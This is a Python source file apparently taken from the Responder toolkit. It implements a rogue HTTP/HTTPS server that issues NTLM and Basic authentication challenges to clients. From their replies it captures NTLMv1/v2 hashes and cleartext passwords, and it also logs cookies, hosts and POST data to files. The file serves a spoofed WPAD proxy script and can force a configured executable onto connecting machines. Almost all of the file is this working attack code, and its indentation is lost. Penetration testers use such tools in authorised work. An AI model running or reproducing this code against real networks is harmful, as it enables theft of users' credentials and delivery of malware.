Responder/servers/HTTP.py

258 lines
8.7 KiB
Python

import os
import struct
import settings
from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer
from base64 import b64decode, b64encode
from utils import *
from packets import NTLM_Challenge
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
from packets import WPADScript, ServerExeFile, ServeAlwaysExeFile, ServeAlwaysNormalFile
# Parse NTLMv1/v2 hash.
def ParseHTTPHash(data,client):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[20:22])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
if NthashLen == 24:
HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "HTTP-NTLMv1-Client-%s.txt" % client)
if PrintData(outfile, User+"::"+HostName):
print text("[HTTP] NTLMv1 Client : %s" % client)
print text("[HTTP] NTLMv1 Hostname : %s" % HostName)
print text("[HTTP] NTLMv1 User : %s" % User)
print text("[HTTP] NTLMv1 Hash : %s" % LMHash+":"+NTHash)
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
WriteData(outfile, WriteHash, User+"::"+HostName)
if NthashLen > 24:
NthashLen = 64
DomainLen = struct.unpack('<H',data[28:30])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "HTTP-NTLMv2-Client-%s.txt" % client)
if PrintData(outfile,User+"::"+Domain):
print text("[HTTP] NTLMv2 Client : %s" % client)
print text("[HTTP] NTLMv2 Hostname : %s" % HostName)
print text("[HTTP] NTLMv2 User : %s" % Domain+"\\"+User)
print text("[HTTP] NTLMv2 Hash : %s" % NTHash[:32]+":"+NTHash[32:])
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
WriteData(outfile,WriteHash, User+"::"+Domain)
def GrabCookie(data,host):
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
if Cookie:
Cookie = Cookie.group(0).replace('Cookie: ', '')
print text("[HTTP] Cookie : %s " % Cookie)
return Cookie
else:
return False
def GrabHost(data,host):
Host = re.search('(Host:*.\=*)[^\r\n]*', data)
if Host:
Host = Host.group(0).replace('Host: ', '')
print text("[HTTP] Host : %s " % Host)
return Host
else:
return False
def WpadCustom(data, client):
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
if Wpad:
Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
Buffer.calculate()
return str(Buffer)
else:
return False
def ServeEXE(data, client, Filename):
print text("[HTTP] Sent file %s to %s" % (Filename, client))
with open (Filename, "rb") as bk:
data = bk.read()
bk.close()
return data
def GrabURL(data, host):
GET = re.findall('(?<=GET )[^HTTP]*', data)
POST = re.findall('(?<=POST )[^HTTP]*', data)
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
if GET:
print text("[HTTP] GET request from: %-15s URL: %s" % (host, ''.join(GET)))
if POST:
print text("[HTTP] POST request from: %-15s URL: %s" % (host, ''.join(POST)))
if len(''.join(POSTDATA)) > 2:
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
# Handle HTTP packet sequence.
def PacketSequence(data,client):
NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
if settings.Config.Exe_On_Off == True and re.findall('.exe', data):
Buffer = ServerExeFile(Payload = ServeEXE(data,client,settings.Config.HtmlFilename),filename=settings.Config.HtmlFilename)
Buffer.calculate()
return str(Buffer)
if settings.Config.Exec_Mode_On_Off == True:
if settings.Config.Exe_Filename.endswith('.exe'):
Buffer = ServeAlwaysExeFile(Payload = ServeEXE(data,client,settings.Config.Exe_Filename),ContentDiFile=settings.Config.Exe_Filename)
Buffer.calculate()
return str(Buffer)
else:
Buffer = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,settings.Config.Exe_Filename))
Buffer.calculate()
return str(Buffer)
if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == "\x01":
GrabURL(data, client)
GrabHost(data, client)
GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
Buffer.calculate()
Buffer_Ans = IIS_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(Buffer))
return str(Buffer_Ans)
if Packet_NTLM == "\x03":
NTLM_Auth = b64decode(''.join(NTLM_Auth))
ParseHTTPHash(NTLM_Auth, client)
WPAD_Custom = WpadCustom(data, client)
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client)
return WPAD_Custom
else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HTMLToServe)
Buffer.calculate()
return str(Buffer)
if Basic_Auth:
ClearText_Auth = b64decode(''.join(Basic_Auth))
GrabURL(data, client)
GrabHost(data, client)
GrabCookie(data, client)
WPAD_Custom = WpadCustom(data,client)
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "HTTP-Clear-Text-Password-%s.txt" % client)
if PrintData(outfile, ClearText_Auth):
print text("[HTTP] (Basic) Client : %s" % client)
print text("[HTTP] (Basic) Username : %s" % ClearText_Auth.split(':')[0])
print text("[HTTP] (Basic) Password : %s" % ClearText_Auth.split(':')[1])
WriteData(outfile, ClearText_Auth, ClearText_Auth)
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client, 3, 0)
return WPAD_Custom
else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HTMLToServe)
Buffer.calculate()
return str(Buffer)
else:
Response = IIS_Basic_401_Ans() if settings.Config.Basic == True else IIS_Auth_401_Ans()
return str(Response)
# HTTP Server class
class HTTP(BaseRequestHandler):
def handle(self):
try:
while True:
self.request.settimeout(1)
data = self.request.recv(8092)
Buffer = WpadCustom(data, self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.request.send(Buffer)
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
else:
Buffer = PacketSequence(data,self.client_address[0])
self.request.send(Buffer)
except socket.error:
pass
# HTTPS Server class
class HTTPS(StreamRequestHandler):
def setup(self):
self.exchange = self.request
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
def handle(self):
try:
while True:
data = self.exchange.recv(8092)
self.exchange.settimeout(0.5)
Buffer = WpadCustom(data,self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.exchange.send(Buffer)
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
else:
Buffer = PacketSequence(data,self.client_address[0])
self.exchange.send(Buffer)
except:
pass
# SSL context handler
class SSLSock(ThreadingMixIn, TCPServer):
def __init__(self, server_address, RequestHandlerClass):
from OpenSSL import SSL
BaseServer.__init__(self, server_address, RequestHandlerClass)
ctx = SSL.Context(SSL.SSLv3_METHOD)
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
ctx.use_privatekey_file(key)
ctx.use_certificate_file(cert)
self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
self.server_bind()
self.server_activate()
def shutdown_request(self,request):
try:
request.shutdown()
except:
pass